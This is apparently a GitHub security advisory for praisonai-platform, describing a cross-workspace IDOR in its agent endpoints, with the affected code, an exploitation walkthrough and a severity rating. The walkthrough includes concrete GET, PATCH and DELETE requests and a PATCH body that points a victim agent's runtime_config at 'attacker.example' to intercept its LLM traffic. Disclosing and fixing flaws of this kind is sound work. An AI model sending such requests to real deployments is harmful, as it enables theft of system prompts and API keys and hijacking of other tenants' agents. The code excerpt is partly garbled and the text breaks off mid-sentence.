GHSA-7p8g-6c6g-h9w7 praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR

• PyPI praisonai-platform: < 0.1.4 → fixed in 0.1.4

Summary Type: Insecure Direct Object Reference. The agent CRUD endpoints (`GET / PATCH / DELETE /workspaces/{workspace_id}/agents/{agent_id}`) gate access on `require_workspace_member(workspace_id)` only, then resolve `agent_id` through `AgentService.get(agent_id)` which is a primary-key lookup with no workspace constraint. A user who is a member of any workspace `W1` can read, modify, or delete agents that belong to a different workspace `W2` by guessing or harvesting an agent UUID and calling `…/workspaces/W1/agents/`. File: `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-112; route handlers at `src/praisonai-platform/praisonai_platform/api/routes/agents.py`, lines 53-100. Root cause: the route extracts `workspace_id` from the URL path and passes it to `require_workspace_member` for the membership check, but never threads it through to the service layer. `AgentService.get` calls `session.get(Agent, agent_id)`, which is `SELECT * FROM agents WHERE id = :agent_id` with no `AND workspace_id = :workspace_id`. `update` and `delete` call `self.get(agent_id)` first and then mutate the returned row, inheriting the same gap. The `MemberService` is the one place in this codebase that does this correctly: it uses `(workspace_id, user_id)` as a composite key. The agent service simply forgot the second predicate, which is the textbook GHSA pattern for FastAPI services that treat routing parameters as decorative rather than authoritative. Affected Code File 1: `src/praisonai-platform/praisonai_platform/services/agent_service.py`, lines 53-55 and 105-112. ```python class AgentService: ... async def get(self, agent_id: str) -> Optional[Agent]: """Get agent by ID.""" return await self._session.get(Agent, agent_id) # Optional[Agent]: agent = await self.get(agent_id) # bool: agent = await self.get(agent_id) # ` to `GET /workspaces/W_attacker/agents/A_T`. `require_workspace_member(W_attacker, attacker)` returns the attacker's identity (they are a member of `W_attacker`). State: control flow enters `get_agent` with `workspace_id=W_attacker`, `agent_id=A_T`. 3. `AgentService.get(A_T)` runs `session.get(Agent, "A_T")`, which is `SELECT * FROM agents WHERE id = 'A_T' LIMIT 1`. The query has no `workspace_id = 'W_attacker'` filter and returns the row — including its `instructions`, `runtime_config`, `name`, `status`, `owner_id`, etc — even though `agent.workspace_id == 'W_target'`. State: response body is the JSON-serialised target agent. 4. Attacker repeats with `PATCH /workspaces/W_attacker/agents/A_T` and a body of `{"instructions": "", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": ""}}`. `update_agent` calls `svc.update(A_T, ...)` which loads the target row and mutates the listed fields. State: the foreign workspace's agent now has attacker-chosen instructions and routes its LLM traffic through `attacker.example`. 5. Attacker calls `DELETE /workspaces/W_attacker/agents/A_T` to wipe the target agent altogether, or repeats step 4 against every agent UUID they can harvest. State: target workspace's agent fleet is destroyed or backdoored. Security Impact Severity: sec-high. CVSS 8.1: network attack, low complexity, low privileges (any authenticated workspace member), no user interaction, scope unchanged (the auth context is the same component), high confidentiality (full agent record including instructions and runtime config), high integrity (arbitrary writes), low availability (DELETE wipes target agents). Attacker capability: with one workspace-member token plus a harvested or guessed agent UUID, an attacker can read the target agent's `instructions` (often a proprietary system prompt), `runtime_config` (frequently contains LLM provider URLs and API keys when the deployment uses BYOK), `owner_id`, and status; rewrite the same fields to redirect the agent's LLM traffic to an attacker-controlled endpoint (proxy-and-log of every prompt, prompt injection of every response); flip `status` to `error` to silently break a competitor workspace's agent fleet; or delete the agents outright. Preconditions: `praisonai-platform` is deployed multi-tenant (more than one workspace exists); the attacker has any membership token; the target agent's UUID is known or guessable (uuid4 randomness is large but UUIDs leak through activity feeds, webhook payloads, issue mentions, error messages, and operator screenshots). Differential: source-inspection-verified end-to-end. The asymmetry between `AgentService.get(agent_id)` (no workspace check) and `MemberService.get(workspace_id, user_id)` (composite key check) is the smoking gun: the same author wrote both patterns, but only the member service is tenant-safe. With the suggested fix below applied, `AgentService.get(workspace_id, agent_id)` returns `None` when the agent belongs to a different workspace, the route handler returns …